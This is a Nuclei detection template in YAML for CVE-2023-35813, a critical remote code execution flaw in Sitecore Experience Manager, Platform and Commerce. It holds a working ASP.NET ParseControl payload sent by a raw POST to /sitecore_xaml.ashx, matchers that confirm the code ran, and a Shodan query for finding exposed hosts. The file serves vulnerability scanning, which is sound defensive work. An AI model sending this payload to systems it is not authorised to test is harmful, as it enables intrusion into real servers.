58 lines
2.0 KiB
YAML
58 lines
2.0 KiB
YAML
id: CVE-2023-35813
|
|
|
|
info:
|
|
name: Sitecore - Remote Code Execution
|
|
author: DhiyaneshDk,iamnoooob
|
|
severity: critical
|
|
description: |
|
|
Multiple Sitecore products allow remote code execution. This affects Experience Manager, Experience Platform, and Experience Commerce through 10.3.
|
|
reference:
|
|
- https://support.sitecore.com/kb?id=kb_article_view\u0026sysparm_article=KB1002979
|
|
- https://code-white.com/blog/exploiting-asp.net-templateparser-part-1/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-35813
|
|
- https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1002979
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2023-35813
|
|
cwe-id: CWE-22,CWE-23
|
|
epss-score: 0.26787
|
|
epss-percentile: 0.9627
|
|
cpe: cpe:2.3:a:sitecore:experience_commerce:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: sitecore
|
|
product: experience_commerce
|
|
shodan-query: title:"Sitecore"
|
|
tags: cve,cve2023,sitecore,rce
|
|
variables:
|
|
string: "{{rand_base(6)}}"
|
|
payload: |
|
|
<%@Register
|
|
TagPrefix = 'x'
|
|
Namespace = 'System.Runtime.Remoting.Services'
|
|
Assembly = 'System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
|
|
%>
|
|
<x:RemotingService runat='server'
|
|
Context-Response-ContentType='{{string}}'
|
|
/>
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl("{{url_encode(payload)}}")
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- contains(content_type, '{{string}}')
|
|
- contains_all(body, 'commands', 'command', 'value')
|
|
- status_code == 200
|
|
condition: and
|
|
|
|
# digest: 490a004630440220156ffecc4809ca3836350637691eb5cc895771738ad974e9ac3917a530670f34022042211cf501c80b80ca0f9a81c6a5b2fd9fa0b567ce8da5d0971a4ca712a7df98:922c64590222798bb761d5b6d8e72950
|